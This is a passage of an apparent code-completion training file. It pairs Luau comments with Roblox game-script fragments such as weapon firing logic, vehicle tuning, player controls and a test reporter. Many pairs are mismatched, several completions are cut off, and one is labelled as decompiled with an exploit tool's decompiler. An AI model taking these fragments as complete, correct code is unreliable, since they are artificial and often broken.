true\n\t\tBoltBackAnim()\n\t\tBoltForwardAnim()\n\t\tIdleAnim()\n\t\tL_76_ = false\n\t\t\n\t\tlocal L_252_ = JamCalculation()\n\t\tif L_252_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\t\t\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireAuto()\n\twhile not Shooting and L_103_ > 0 and L_68_ and L_69_ and L_15_ do\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\t--CheckReverb()\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\telse\n\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\tShooting = true\n\t\tRecoilFront = true\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\tlocal L_257_, L_258_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\t\t\t\n\t\tfor L_260_forvar1, L_261_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\tif L_261_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_261_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_262_forvar1, L_263_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\tif L_263_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_263_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tlocal L_259_ = JamCalculation()\n\t\tif L_259_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireBurst()\n\tif not Shooting and L_103_ > 0 and L_68_ and L_15_ then\n\t\tfor L_264_forvar1 = 1, L_24_.BurstNum do\n\t\t\tif L_103_ > 0 and L_68_ then\n\t\t\t\tL_69_ = false\n\t\t\t\tRecoiling = true\n\t\t\t--CheckReverb()\n\t\t\t\tif L_54_ then\n\t\t\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\t\t\telse\n\t\t\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\t\t\tend\n\t\t\t\tL_109_:FireServer()\n\t\t\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\t\t\tlocal L_265_, L_266_ = spawn(function()\n\t\t\t\t\tCastRay(L_102_)\n\t\t\t\tend)\n\t\t\t\t\t\n\t\t\t\tfor L_268_forvar1, L_269_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\t\tif L_269_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\t\tL_269_forvar2.Enabled = true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\n\t\t\t\tdelay(1 / 30, function()\n\t\t\t\t\tfor L_270_forvar1, L_271_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\t\t\tif L_271_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\t\t\tL_271_forvar2.Enabled = false\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\n\t\t\t\tif L_24_.CanBolt == true then\n\t\t\t\t\tBoltingBackAnim()\n\t\t\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\t\n\t\t\t\tL_103_ = L_103_ - 1\n\t\t\t\tUpdateAmmo()\n\t\t\t\tRecoilFront = true\n\t\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\t\tRecoiling = false\n\t\t\t\t\tRecoilFront = false\n\t\t\t\tend)\n\t\t\t\twait(L_24_.Firerate)\n\t\t\t\n\t\t\t\tlocal L_267_ = JamCalculation()\n\t\t\t\tif L_267_ then\n\t\t\t\t\tL_69_ = false\n\t\t\t\telse\n\t\t\t\t\tL_69_ = true\n\t\t\t\tend\n\t\t\n\t\t\tend\n\t\t\tShooting = true\n\t\tend\n\t\tShooting = false\n\tend\nend\n\nfunction Shoot()\n\tif L_15_ and L_69_ then\n\t\tif L_92_ == 1 then\n\t\t\tfireSemi()\n\t\telseif L_92_ == 2 then\n\t\t\tfireAuto()\n\t\telseif L_92_ == 3 then\n\t\t\tfireBurst()\t\n\t\telseif L_92_ == 4 then\n\t\t\tfireBoltAction()\n\t\telseif L_92_ == 5 then\n\t\t\tfireShot()\n\t\telseif L_92_ == 6 then\n\t\t\tfireExplo()\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 5000\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t14\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "--------------------------------------------------------------------------", "completion": "\n\n\nlocal car = script.Parent.Parent.Car.Value\nlocal _Tune = require(car[\"A-Chassis Tune\"])\nlocal cValues = script.Parent.Parent:WaitForChild(\"Values\")\n"} +{"prompt": "--[[ Public API ]]", "completion": "--\nfunction MasterControl:Init()\n\t\n\tlocal renderStepFunc = function()\n\t\tif LocalPlayer and LocalPlayer.Character then\n\t\t\tlocal humanoid = getHumanoid()\n\t\t\tif not humanoid then return end\n\t\t\t\n\t\t\tif humanoid and not humanoid.PlatformStand and isJumping then\n\t\t\t\thumanoid.Jump = isJumping\n\t\t\tend\n\t\t\t\n\t\t\tmoveFunc(LocalPlayer, moveValue, true)\t\n\t\tend\n\tend\n\t\n\tlocal success = pcall(function() RunService:BindToRenderStep(\"MasterControlStep\", Enum.RenderPriority.Input.Value, renderStepFunc) end)\n\t\n\tif not success then\n\t\tif RenderSteppedCon then return end\n\t\tRenderSteppedCon = RunService.RenderStepped:connect(renderStepFunc)\n\tend\nend\n\nfunction MasterControl:Disable()\n\tlocal success = pcall(function() RunService:UnbindFromRenderStep(\"MasterControlStep\") end)\n\tif not success then\n\t\tif RenderSteppedCon then\n\t\t\tRenderSteppedCon:disconnect()\n\t\t\tRenderSteppedCon = nil\n\t\tend\n\tend\n\t\n\tmoveValue = Vector3.new(0,0,0)\n\tisJumping = false\nend\n\nfunction MasterControl:AddToPlayerMovement(playerMoveVector)\n\tmoveValue = Vector3.new(moveValue.X + playerMoveVector.X, moveValue.Y + playerMoveVector.Y, moveValue.Z + playerMoveVector.Z)\nend\n\nfunction MasterControl:GetMoveVector()\n\treturn moveValue\nend\n\nfunction MasterControl:SetIsJumping(jumping)\n\tisJumping = jumping\nend\n\nfunction MasterControl:DoJump()\n\tlocal humanoid = getHumanoid()\n\tif humanoid and _G.CanJump then\n\t\thumanoid.Jump = true\n\tend\nend\n\nreturn MasterControl\n"} +{"prompt": "--// Gun Parts", "completion": "\nlocal L_28_ = L_1_.Bolt\nlocal L_29_ = L_1_.Mag\nlocal L_30_ = L_1_.FirePart\nlocal L_31_ = L_5_:WaitForChild('FX')\nlocal L_32_\n"} +{"prompt": "-- Papers", "completion": "\nlocal papernoise = 4\nlocal pageturn = 90\n"} +{"prompt": "--[[\n\tThe TextReporter uses the results from a completed test to output text to\n\tstandard output and TestService.\n]]", "completion": "\n\nlocal TestService = game:GetService(\"TestService\")\n\nlocal CurrentModule = script.Parent\nlocal Packages = CurrentModule.Parent.Parent\nlocal success, JestMatcherUtils = pcall(function()\n\treturn require(Packages.JestMatcherUtils)\nend)\nlocal EXPECTED_COLOR = success and JestMatcherUtils.EXPECTED_COLOR or function(s)\n\treturn s\nend\nlocal RECEIVED_COLOR = success and JestMatcherUtils.RECEIVED_COLOR or function(s)\n\treturn s\nend\nlocal BOLD_WEIGHT = success and JestMatcherUtils.BOLD_WEIGHT or function(s)\n\treturn s\nend\nlocal DIM_COLOR = success and JestMatcherUtils.DIM_COLOR or function(s)\n\treturn s\nend\n\nlocal TestEnum = require(script.Parent.Parent.TestEnum)\n\nlocal INDENT = (\" \"):rep(3)\nlocal STATUS_SYMBOLS = {\n\t[TestEnum.TestStatus.Success] = EXPECTED_COLOR(\"+\"),\n\t[TestEnum.TestStatus.Failure] = RECEIVED_COLOR(\"-\"),\n\t[TestEnum.TestStatus.Skipped] = DIM_COLOR(\"~\"),\n}\nlocal UNKNOWN_STATUS_SYMBOL = \"?\"\n\nlocal TextReporter = {}\n\nlocal function compareNodes(a, b)\n\treturn a.planNode.phrase:lower() < b.planNode.phrase:lower()\nend\n\nlocal function reportNode(node, buffer, level)\n\tbuffer = buffer or {}\n\tlevel = level or 0\n\n\tif node.status == TestEnum.TestStatus.Skipped then\n\t\treturn buffer\n\tend\n\n\tlocal line\n\n\tif node.status then\n\t\tlocal symbol = STATUS_SYMBOLS[node.status] or UNKNOWN_STATUS_SYMBOL\n\n\t\tline = (\"%s[%s] %s\"):format(INDENT:rep(level), symbol, node.planNode.phrase)\n\telse\n\t\tline = (\"%s%s\"):format(INDENT:rep(level), node.planNode.phrase)\n\tend\n\n\ttable.insert(buffer, line)\n\ttable.sort(node.children, compareNodes)\n\n\tfor _, child in ipairs(node.children) do\n\t\treportNode(child, buffer, level + 1)\n\tend\n\n\treturn buffer\nend\n\nlocal function reportRoot(node)\n\tlocal buffer = {}\n\ttable.sort(node.children, compareNodes)\n\n\tfor _, child in ipairs(node.children) do\n\t\treportNode(child, buffer, 0)\n\tend\n\n\treturn buffer\nend\n\nlocal function report(root)\n\tlocal buffer = reportRoot(root)\n\n\treturn table.concat(buffer, \"\\n\")\nend\n\nfunction TextReporter.report(results)\n\tlocal resultBuffer = {\n\t\t\"Test results:\",\n\t\treport(results),\n\t\t(\"%d passed, %d failed, %d skipped\"):format(results.successCount, results.failureCount, results.skippedCount),\n\t}\n\n\tprint(table.concat(resultBuffer, \"\\n\"))\n\n\tif results.failureCount > 0 then\n\t\tprint((\"%d test nodes reported failures.\"):format(results.failureCount))\n\tend\n\n\tif #results.errors > 0 then\n\t\tprint(\"Errors reported by tests:\")\n\t\tprint(\"\")\n\n\t\tfor _, e in ipairs(results.errors) do\n\t\t\tprint(BOLD_WEIGHT(RECEIVED_COLOR(\"\u2022 \" .. e.phrase)))\n\t\t\tprint(\"\")\n\t\t\tTestService:Error(e.message)\n\n\t\t\t-- Insert a blank line after each error\n\t\t\tprint(\"\")\n\t\tend\n\tend\nend\n\nreturn TextReporter\n"} +{"prompt": "-- Gathers up all the scripts in the DevModule. We use the resulting array to\n-- enable all scripts in one step.", "completion": "\nlocal function getDevModuleScripts(devModule: Instance): { BaseScript }\n\tlocal scripts = {}\n\tfor _, descendant in ipairs(devModule:GetDescendants()) do\n\t\tif descendant.Parent == devModule then\n\t\t\tcontinue\n\t\tend\n\n\t\tif descendant:IsA(\"Script\") or descendant:IsA(\"LocalScript\") then\n\t\t\ttable.insert(scripts, descendant)\n\t\tend\n\tend\n\treturn scripts\nend\n"} +{"prompt": "--!strict\n--[[\n\tPlayerModule - This module requires and instantiates the camera and control modules,\n\tand provides getters for developers to access methods on these singletons without\n\thaving to modify Roblox-supplied scripts.\n\n\t2018 PlayerScripts Update - AllYourBlox\n--]]", "completion": "\n\nlocal PlayerModule = {}\nPlayerModule.__index = PlayerModule\n\nfunction PlayerModule.new()\n\tgame.Players.LocalPlayer.PlayerGui:WaitForChild(\"CoreGUI\",999)\n\tgame.Players.LocalPlayer.PlayerGui.CoreGUI.LocalGod.Inited.Event:Wait()\n\tlocal self = setmetatable({},PlayerModule)\n\tself.cameras = require(script:WaitForChild(\"CameraModule\"))\n\tself.controls = require(script:WaitForChild(\"ControlModule\"))\n\tself.backpack = require(script:WaitForChild(\"BackpackModule\"))\n\treturn self\nend\n\nfunction PlayerModule:GetCameras()\n\treturn self.cameras\nend\n\nfunction PlayerModule:GetControls()\n\treturn self.controls\nend\n\nfunction PlayerModule:GetClickToMoveController()\n\treturn self.controls:GetClickToMoveController()\nend\n\nreturn PlayerModule.new()\n"} +{"prompt": "--// Functions", "completion": "\nfunction Weld(L_46_arg1, L_47_arg2, L_48_arg3)\n\tlocal L_49_ = Instance.new(\"Motor6D\", L_46_arg1)\n\tL_49_.Part0 = L_46_arg1\n\tL_49_.Part1 = L_47_arg2\n\tL_49_.Name = L_46_arg1.Name\n\tL_49_.C0 = L_48_arg3 or L_46_arg1.CFrame:inverse() * L_47_arg2.CFrame\n\treturn L_49_\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__RenderStepped__1 = game:GetService(\"RunService\").RenderStepped;\nreturn function(p1, p2, p3)\n\tp3 = p3 or 1;\n\tlocal u2 = true;\n\ttask.defer(function()\n\t\tlocal v1 = os.clock();\n\t\twhile p1 and p1.Parent do\n\t\t\tif not u2 then\n\t\t\t\tbreak;\n\t\t\tend;\n\t\t\tp1[p2] = Color3.fromHSV((os.clock() - v1) / 2 % 1, 1, 1);\n\t\t\tl__RenderStepped__1:Wait();\t\t\n\t\tend;\n\tend);\n\treturn function()\n\t\tu2 = false;\n\tend;\nend;\n"} +{"prompt": "--check", "completion": "\nfunction off(mouse)\nif model ~= nil then\nn = 1\nlocal all = model:GetChildren()\nfor i = 1, #all do\nif all[i].className == \"Part\" then\nall[i].Transparency = parts[n]\nlocal Do = true\nif Do then\nDo = false--dude!\nn = n +1\nend\nend\nend\nend\nend"} +{"prompt": "-------------------------", "completion": "\nwhile true do\nscript.Parent.Bloqueador.CanCollide = false\nwait(0.1)\nPuerta1.BodyVelocity.velocity = Vector3.new(0, 0, -0.5)\nPuerta2.BodyVelocity.velocity = Vector3.new(0, 0, 0.5)\nwait(6)\nPuerta1.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nPuerta2.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nbreak\nend\n"} +{"prompt": "--can i have my", "completion": "\nfunction on(mouse)\nif model == nil then\nn = 1\nlocal m = Instance.new(\"Model\")\nlocal all = script.Parent:GetChildren()\nfor i = 1, #all do\nif all[i].className == \"Part\" then\nparts[n] = all[i].Transparency\nlocal brick = all[i]:clone()\nbrick.Parent = m\nn = n +1\nend\nend\nwait()\nif model == nil then\nlocal weld = script:FindFirstChild(\"Weld2\")\nif weld ~= nil then\nlocal new = weld:clone()\nnew.Disabled = false\nnew.Parent = m\nm.Name = script.Parent.Name\nm.Parent = script.Parent.Parent\nmodel = m\nlocal handle = model:FindFirstChild(\"Handle\")\nif handle ~= nil then"} +{"prompt": "--this area is mode more for someone who's already good at gun's. please do not get mad at me if you don't understand what's under here", "completion": "\ny = 0--this is what's added to the current y value. positive number's make it go down. negative make's it go up\n x = 0--this is what's added to the x value(it's really the z value but it look's like the x value when on your back). positive number's make it go left. negative make's it go right"} +{"prompt": "--// Functions", "completion": "\nfunction MakeFakeArms()\n\tArms = Instance.new(\"Model\")\n\tArms.Name = \"Arms\"\n\tArms.Parent = L_5_\n\n\tlocal L_172_ = Instance.new(\"Humanoid\")\n\tL_172_.MaxHealth = 0\n\tL_172_.Health = 0\n\tL_172_.Name = \"\"\n\tL_172_.Parent = Arms\n\t\t\n\tif L_3_:FindFirstChild(\"Shirt\") then\n\t\tlocal L_177_ = L_3_:FindFirstChild(\"Shirt\"):clone()\n\t\tL_177_.Parent = Arms\n\tend\n\t\n\tlocal L_173_ = L_3_:FindFirstChild(\"Right Arm\"):clone()\n\tfor L_178_forvar1, L_179_forvar2 in pairs(L_173_:GetChildren()) do\n\t\tif L_179_forvar2:IsA('Motor6D') then\n\t\t\tL_179_forvar2:Destroy()\n\t\tend\n\tend\n\tL_173_.Name = \"Right Arm\"\n\tL_173_.FormFactor = \"Custom\"\n\tL_173_.Size = Vector3.new(0.8, 2.5, 0.8)\n\tL_173_.Transparency = 0.0\n\t\n\tlocal L_174_ = Instance.new(\"Motor6D\")\n\tL_174_.Part0 = L_173_\n\tL_174_.Part1 = L_3_:FindFirstChild(\"Right Arm\")\n\tL_174_.C0 = CFrame.new()\n\tL_174_.C1 = CFrame.new()\n\tL_174_.Parent = L_173_\t\n\tL_173_.Parent = Arms\n\t\t\n\tlocal L_175_ = L_3_:FindFirstChild(\"Left Arm\"):clone()\n\tL_175_.Name = \"Left Arm\"\n\tL_175_.FormFactor = \"Custom\"\n\tL_175_.Size = Vector3.new(0.8, 2.5, 0.8)\n\tL_175_.Transparency = 0.0\t\n\t\n\tlocal L_176_ = Instance.new(\"Motor6D\")\n\tL_176_.Part0 = L_175_\n\tL_176_.Part1 = L_3_:FindFirstChild(\"Left Arm\")\n\tL_176_.C0 = CFrame.new()\n\tL_176_.C1 = CFrame.new()\n\tL_176_.Parent = L_175_\t\n\tL_175_.Parent = Arms\nend\n\nfunction RemoveArmModel()\n\tif Arms then\n\t\tArms:Destroy()\n\t\tArms = nil\n\tend\nend\n\nlocal L_135_\n\nfunction CreateShell()\n\tL_135_ = time()\n\tlocal L_180_ = L_1_.Shell:clone()\n\tif L_180_:FindFirstChild('Shell') then\n\t\tL_180_.Shell:Destroy()\n\tend\n\tL_180_.CFrame = L_1_.Chamber.CFrame\n\tL_180_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)\n\t--shell.RotVelocity = Vector3.new(-10,40,30)\n\tL_180_.Parent = L_101_\n\tL_180_.CanCollide = false\n\tgame:GetService(\"Debris\"):addItem(L_180_, 1)\n\tdelay(0.5, function()\n\t\tif L_19_:FindFirstChild('ShellCasing') then\n\t\t\tlocal L_181_ = L_19_.ShellCasing:clone()\n\t\t\tL_181_.Parent = L_2_.PlayerGui\n\t\t\tL_181_:Play()\n\t\t\tgame:GetService('Debris'):AddItem(L_181_, L_181_.TimeLength)\n\t\tend\n\tend)\nend\n"} +{"prompt": "--[[**\n\tensures Lua primitive userdata type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.userdata = primitive(\"userdata\")\n"} +{"prompt": "--- Sword", "completion": "\n Sword.Value = Sword1:GetAsync(Plr.UserId) or Sword.Value\n\t Sword1:SetAsync(Plr.UserId, SwordP.Value)\n Sword.Changed:connect(function()\n\t Sword1:SetAsync(Plr.UserId, SwordP.Value)\n end)"} +{"prompt": "----------------------------------------------------------------------\n--------------------[ IGNORE MODEL HANDLING ]-------------------------\n----------------------------------------------------------------------", "completion": "\n\nwait(math.random(0, 20) / 40) --This is to prevent more than one ignoreModel from being created\n\nif _G.ignoreCode then --If the ignoreCode already exists, then the script creates the ignoreModel\n\t--[[\n\t\tThe purpose of this is so that every gun in a game that uses this gun kit will share one ignoreModel. That way,\n\t\tbullet trails, bullet holes, and other fake arms will be ignored by the gun which makes the bullets more likely to\n\t\thit a character part\n\t--]]\n\tif (not game.Workspace:FindFirstChild(\"ignoreModel_\".._G.ignoreCode)) then\n\t\tlocal ignoreModel = Instance.new(\"Model\")\n\t\tignoreModel.Name = \"ignoreModel_\".._G.ignoreCode\n\t\tignoreModel.Parent = game.Workspace\n\t\t\n\t\tlocal grenadeFolder = Instance.new(\"Model\")\n\t\tgrenadeFolder.Name = \"grenadeFolder\"\n\t\tgrenadeFolder.Parent = ignoreModel\n\t\n\t\tspawn(function()\n\t\t\twhile true do\n\t\t\t\tignoreModel.Parent = game.Workspace\n\t\t\t\tgrenadeFolder.Parent = ignoreModel\n\t\t\t\twait(1 / 20)\n\t\t\tend\n\t\tend)\n\tend\n\t\n\tscript.Parent:WaitForChild(\"clientMain\"):WaitForChild(\"ignoreCode\").Value = _G.ignoreCode\nelse\n\t--[[\n\t\tIf there isn't already an ignoreCode, then this creates one. The purpose of it being random is so that if there is\n\t\tan ignoreModel for something else in the game, the script won't end up placing the ignored objects in that ignoreModel\n\t--]]\n\t_G.ignoreCode = math.random(1, 1e4)\n\t\n\tif (not game.Workspace:FindFirstChild(\"ignoreModel_\".._G.ignoreCode)) then\n\t\tlocal ignoreModel = Instance.new(\"Model\")\n\t\tignoreModel.Name = \"ignoreModel_\".._G.ignoreCode\n\t\tignoreModel.Parent = game.Workspace\n\t\t\n\t\tlocal grenadeFolder = Instance.new(\"Model\")\n\t\tgrenadeFolder.Name = \"grenadeFolder\"\n\t\tgrenadeFolder.Parent = ignoreModel\n\t\n\t\tspawn(function()\n\t\t\twhile true do\n\t\t\t\tignoreModel.Parent = game.Workspace\n\t\t\t\tgrenadeFolder.Parent = ignoreModel\n\t\t\t\twait(1 / 20)\n\t\t\tend\n\t\tend)\n\tend\n\t\n\tscript.Parent:WaitForChild(\"clientMain\"):WaitForChild(\"ignoreCode\").Value = _G.ignoreCode\nend\n\nspawn(function()\n\t--[[\n\t\tThis function deletes any Player Folders that were left in the ignoreModel because the player left the game without\n\t\tdeselecting the Gun first\n\t--]]\n\trepeat wait() until _G.ignoreCode\n\tlocal ignoreModel = game.Workspace:WaitForChild(\"ignoreModel_\".._G.ignoreCode)\n\twhile true do\n\t\tfor _, gunIgnore in pairs(ignoreModel:GetChildren()) do\n\t\t\tif gunIgnore.Name ~= \"grenadeFolder\" then\n\t\t\t\tif (not game.Players:FindFirstChild(gunIgnore.Name:sub(11))) then\n\t\t\t\t\tgunIgnore:Destroy()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\twait(1 / 20)\n\tend\nend)\n"} +{"prompt": "-- Torso", "completion": "\n\t\tcharacter:FindFirstChild(\"Humanoid\").CameraOffset = Vector3.new(0,0,-1)\n\tend\nend)\n"} +{"prompt": "--// Presets", "completion": "\nStorage.Presets:FireServer(seat.Parent.Parent.Settings, seat)\n"} +{"prompt": "-- Function called when a player character joins the game", "completion": "\nlocal function onCharacterAdded(character)\n\t-- Put all of the current parts of the model into the player collision group\n\tsetCollisionGroupRecursive(character, playerGroup)\n\t\n\t-- Put any part that gets added to the character later into the collision group\n\tcharacter.DescendantAdded:Connect(function(descendant)\n\t\tif descendant:IsA(\"BasePart\") then\n\t\t\tPhysicsService:SetPartCollisionGroup(descendant, playerGroup)\n\t\tend\n\tend)\nend\n"} +{"prompt": "--[=[\n\t@return ClientComm\n\tConstructs a ClientComm object.\n\n\tIf `usePromise` is set to `true`, then `GetFunction` will generate a function that returns a Promise\n\tthat resolves with the server response. If set to `false`, the function will act like a normal\n\tcall to a RemoteFunction and yield until the function responds.\n\n\t```lua\n\tlocal clientComm = ClientComm.new(game:GetService(\"ReplicatedStorage\"), true)\n\n\t-- If using a unique namespace with ServerComm, include it as second argument:\n\tlocal clientComm = ClientComm.new(game:GetService(\"ReplicatedStorage\"), true, \"MyNamespace\")\n\t```\n]=]", "completion": "\nfunction ClientComm.new(parent: Instance, usePromise: boolean, namespace: string?)\n\tassert(not Util.IsServer, \"ClientComm must be constructed from the client\")\n\tassert(typeof(parent) == \"Instance\", \"Parent must be of type Instance\")\n\tlocal ns = Util.DefaultCommFolderName\n\tif namespace then\n\t\tns = namespace\n\tend\n\tlocal folder: Instance? = parent:WaitForChild(ns, Util.WaitForChildTimeout)\n\tassert(folder ~= nil, \"Could not find namespace for ClientComm in parent: \" .. ns)\n\tlocal self = setmetatable({}, ClientComm)\n\tself._instancesFolder = folder\n\tself._usePromise = usePromise\n\treturn self\nend\n"} +{"prompt": "-- Requires - Module Functions", "completion": "\nServerSceneFramework.LoadCharacterRemoteEventModule = require(script.LoadCharacterRemoteEventModule)\nServerSceneFramework.LoadSceneModule = require(script.LoadSceneModule)\nServerSceneFramework.FinishedLoadingClientModule = require(script.FinishedLoadingClientModule)\nServerSceneFramework.LoadSceneFromListEventModule = require(script.LoadSceneFromListEventModule)\nServerSceneFramework.GetCurrentSceneEnvironmentModule = require(script.GetCurrentSceneEnvironmentModule)\nServerSceneFramework.IsLoadingSceneModule = require(script.IsLoadingSceneModule)\nServerSceneFramework.LoadSceneServerModule = require(script.LoadSceneServerModule)\nServerSceneFramework.OnPlayerAddedModule = require(script.OnPlayerAddedModule)\nServerSceneFramework.CheckFolderForLoadedScenesModule = require(script.CheckFolderForLoadedScenesModule)\nServerSceneFramework.FindClientFolderModule = require(script.FindClientFolderModule)\nServerSceneFramework.FindServerFolderModule = require(script.FindServerFolderModule)\nServerSceneFramework.InitModule = require(script.InitModule)\n\nlocal Orchestra = script.Parent"} +{"prompt": "--[[\n\tFired when Spectating is entered, throwing out a player state update, as well as transitioning the player state\n]]", "completion": "\nfunction Transitions.onEnterSpectating(stateMachine, event, from, to, playerComponent)\n\tLogger.trace(playerComponent.player.Name, \" state change: \", from, \" -> \", to)\n\tplayerComponent:updateStatus(\"currentState\", to)\n\tPlayerSpectating.enter(stateMachine, playerComponent)\nend\n"} +{"prompt": "--This Is mine Only a Super Noob would change my Name! ~Monteknight~\n--Have Fun with this Umm Your welcome of the tutorial on it... Yes Thanks all of you for \"NOT\"\n--Editing my name... Have a nice day... =D", "completion": "\n"} +{"prompt": "--[[\n\tLinearly interpolates the given animatable types by a ratio.\n\tIf the types are different or not animatable, then the first value will be\n\treturned for ratios below 0.5, and the second value for 0.5 and above.\n\n\tFIXME: This function uses a lot of redefinitions to suppress false positives\n\tfrom the Luau typechecker - ideally these wouldn't be required\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal PubTypes = require(Package.PubTypes)\nlocal Oklab = require(Package.Colour.Oklab)\n\nlocal function lerpType(from: any, to: any, ratio: number): any\n\tlocal typeString = typeof(from)\n\n\tif typeof(to) == typeString then\n\t\t-- both types must match for interpolation to make sense\n\t\tif typeString == \"number\" then\n\t\t\tlocal to, from = to :: number, from :: number\n\t\t\treturn (to - from) * ratio + from\n\n\t\telseif typeString == \"CFrame\" then\n\t\t\tlocal to, from = to :: CFrame, from :: CFrame\n\t\t\treturn from:Lerp(to, ratio)\n\n\t\telseif typeString == \"Color3\" then\n\t\t\tlocal to, from = to :: Color3, from :: Color3\n\t\t\tlocal fromLab = Oklab.to(from)\n\t\t\tlocal toLab = Oklab.to(to)\n\t\t\treturn Oklab.from(\n\t\t\t\tfromLab:Lerp(toLab, ratio),\n\t\t\t\tfalse\n\t\t\t)\n\n\t\telseif typeString == \"ColorSequenceKeypoint\" then\n\t\t\tlocal to, from = to :: ColorSequenceKeypoint, from :: ColorSequenceKeypoint\n\t\t\tlocal fromLab = Oklab.to(from.Value)\n\t\t\tlocal toLab = Oklab.to(to.Value)\n\t\t\treturn ColorSequenceKeypoint.new(\n\t\t\t\t(to.Time - from.Time) * ratio + from.Time,\n\t\t\t\tOklab.from(\n\t\t\t\t\tfromLab:Lerp(toLab, ratio),\n\t\t\t\t\tfalse\n\t\t\t\t)\n\t\t\t)\n\n\t\telseif typeString == \"DateTime\" then\n\t\t\tlocal to, from = to :: DateTime, from :: DateTime\n\t\t\treturn DateTime.fromUnixTimestampMillis(\n\t\t\t\t(to.UnixTimestampMillis - from.UnixTimestampMillis) * ratio + from.UnixTimestampMillis\n\t\t\t)\n\n\t\telseif typeString == \"NumberRange\" then\n\t\t\tlocal to, from = to :: NumberRange, from :: NumberRange\n\t\t\treturn NumberRange.new(\n\t\t\t\t(to.Min - from.Min) * ratio + from.Min,\n\t\t\t\t(to.Max - from.Max) * ratio + from.Max\n\t\t\t)\n\n\t\telseif typeString == \"NumberSequenceKeypoint\" then\n\t\t\tlocal to, from = to :: NumberSequenceKeypoint, from :: NumberSequenceKeypoint\n\t\t\treturn NumberSequenceKeypoint.new(\n\t\t\t\t(to.Time - from.Time) * ratio + from.Time,\n\t\t\t\t(to.Value - from.Value) * ratio + from.Value,\n\t\t\t\t(to.Envelope - from.Envelope) * ratio + from.Envelope\n\t\t\t)\n\n\t\telseif typeString == \"PhysicalProperties\" then\n\t\t\tlocal to, from = to :: PhysicalProperties, from :: PhysicalProperties\n\t\t\treturn PhysicalProperties.new(\n\t\t\t\t(to.Density - from.Density) * ratio + from.Density,\n\t\t\t\t(to.Friction - from.Friction) * ratio + from.Friction,\n\t\t\t\t(to.Elasticity - 